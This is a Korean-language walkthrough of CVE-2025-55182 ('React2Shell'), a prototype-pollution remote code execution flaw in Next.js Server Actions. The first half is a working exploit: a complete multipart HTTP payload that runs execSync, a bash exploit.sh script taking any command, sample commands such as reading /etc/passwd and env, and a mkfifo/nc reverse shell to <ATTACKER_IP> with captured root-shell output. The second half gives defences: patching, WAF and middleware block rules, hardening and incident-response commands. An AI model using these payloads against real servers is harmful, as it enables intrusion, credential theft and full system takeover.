
React2Shell로도 알려진 CVE-2025-55182는 React Server Components(RSC)와 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다.
⚠️ 면책 조항: 이 문서는 교육 및 보안 연구 목적으로만 제공됩니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 이러한 기술을 무단으로 사용하는 것은 불법입니다.
CVE-2025-55182는 React2Shell로도 알려져 있으며, 다음을 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다:
공격자는 다음을 악용하여 서버에서 원격 코드 실행 (RCE) 을 달성할 수 있습니다:
__proto__ 및 constructor를 통한 프로토타입 오염결과: Node.js 프로세스의 권한으로 임의의 시스템 명령이 실행될 수 있습니다.
Next.js는 클라이언트와 서버 간 통신을 위해 고유한 multipart/form-data 프로토콜을 사용합니다:
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
취약점은 다음 때문에 존재합니다:
__proto__, constructor)공격자는 내부 객체 속성을 수정하는 페이로드를 제작할 수 있습니다:
{
"then": "$1:__proto__:then", // 프로토타입 체인을 대상으로 함
"_response": {
"_prefix": "malicious code here" // 코드 주입
}
}
__proto__를 악용하여 공격자는 JavaScript 객체의 프로토타입을 오염시키고, 이를 상속하는 모든 객체에 영향을 미칩니다.
공격자는 _prefix 필드 안에 다음을 수행하는 JavaScript 코드를 주입합니다:
process.mainModule.require()를 통해 Node.js 모듈에 접근child_process 모듈 로드execSync()를 사용하여 시스템 명령 실행var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
명령 결과는 오류 응답에 숨겨집니다:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js는 이 오류를 클라이언트에 반환하며, 명령 출력은 digest 필드에서 확인할 수 있습니다.
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
이제 서버는 다음 주소에서 접근할 수 있습니다:
http://localhost:3000
curl http://localhost:3000/
이 단계에서는 서버가 정상적으로 동작합니다.
http://localhost:3000/에 접속합니다GET 요청이 가로채집니다. 이를 Repeater 탭으로 보냅니다:
전체 요청을 다음 페이로드로 교체합니다:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Send를 클릭합니다
exploit.sh 파일을 생성합니다:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
실행 권한을 부여합니다:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
완전한 대화형 셸 접근을 얻으려면 리버스 셸을 사용합니다.
ncat -lvnp 9009
또는 netcat 사용:
nc -lvnp 9009
다음 명령으로 페이로드를 수정합니다 (<ATTACKER_IP>를 자신의 IP 주소로 교체):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
전체 페이로드는 다음과 같습니다:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
이제 대상 서버에서 완전한 대화형 셸을 사용할 수 있습니다.
악용에 성공하면:
digest 필드에 포함됩니다Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
패치된 버전의 Next.js를 실행 중인지 확인하세요. 공식 보안 권고를 확인하십시오.
들어오는 RSC 페이로드에 대한 엄격한 검증을 추가합니다:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Reject suspicious payloads
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Block payloads containing dangerous patterns
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
next.config.js에서:
module.exports = {
experimental: {
serverActions: {
enabled: false // Disable if not needed
}
}
};
# Create a dedicated user
useradd -r -s /bin/false nextjs
# Run the service under this user
sudo -u nextjs node server.js
# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
제한된 capabilities로 Docker를 사용합니다:
FROM node:20-alpine
# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
제한된 capabilities로 컨테이너를 실행합니다:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
포괄적인 로깅을 구현합니다:
// Custom logging middleware
app.use((req, res, next) => {
// Log all POST requests with Next-Action header
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
// Alert security team
// sendSecurityAlert(`Exploit attempt from ${req.ip}`);
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
});
WAF가 다음을 차단하도록 구성합니다:
ModSecurity 규칙:
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
AWS WAF 예시:
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPolluton",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPolluton"
}
}
]
}
CSP는 주로 클라이언트 측을 보호하지만, 모범 사례로 권장됩니다:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Scan dependencies for vulnerabilities
npm audit
npm audit fix
# Use snyk for continuous monitoring
snyk monitor
# Regular penetration testing
# Schedule quarterly security assessments
악용이 의심되는 경우:
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Check network connections
netstat -tuln
lsof -i -P -n
# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP
# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notify your security team and apply patches
{
// Step 1: Target the prototype chain
"then": "$1:__proto__:then",
// Step 2: Mark as resolved model
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Step 3: Inject code through _response
"_response": {
// The injected JavaScript code
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Reference to form data
"_chunks": "$Q2",
// Access constructor through form data
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1과 같은 참조는 다른 form 필드로 해석됩니다__proto__ 경로가 객체 프로토타입을 수정합니다_prefix 필드는 오류 처리 중에 평가됩니다execSync가 임의의 명령을 실행합니다CVE-2025-55182 (React2Shell) 는 다음과 같은 심각한 위험을 입증합니다:
✅ 사용자 제어 데이터의 안전하지 않은 역직렬화 ✅ JavaScript 프로토타입 체인의 프로토타입 오염 ✅ 적절한 검증 없는 동적 코드 실행
이 취약점은 다음의 중요성을 강조합니다:
라이선스: 교육 목적으로만 사용 - 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
정당한 보안 연구 및 승인된 테스트를 위해서는 테스트를 수행하기 전에 시스템 소유자로부터 서면 허가를 받았는지 확인하십시오.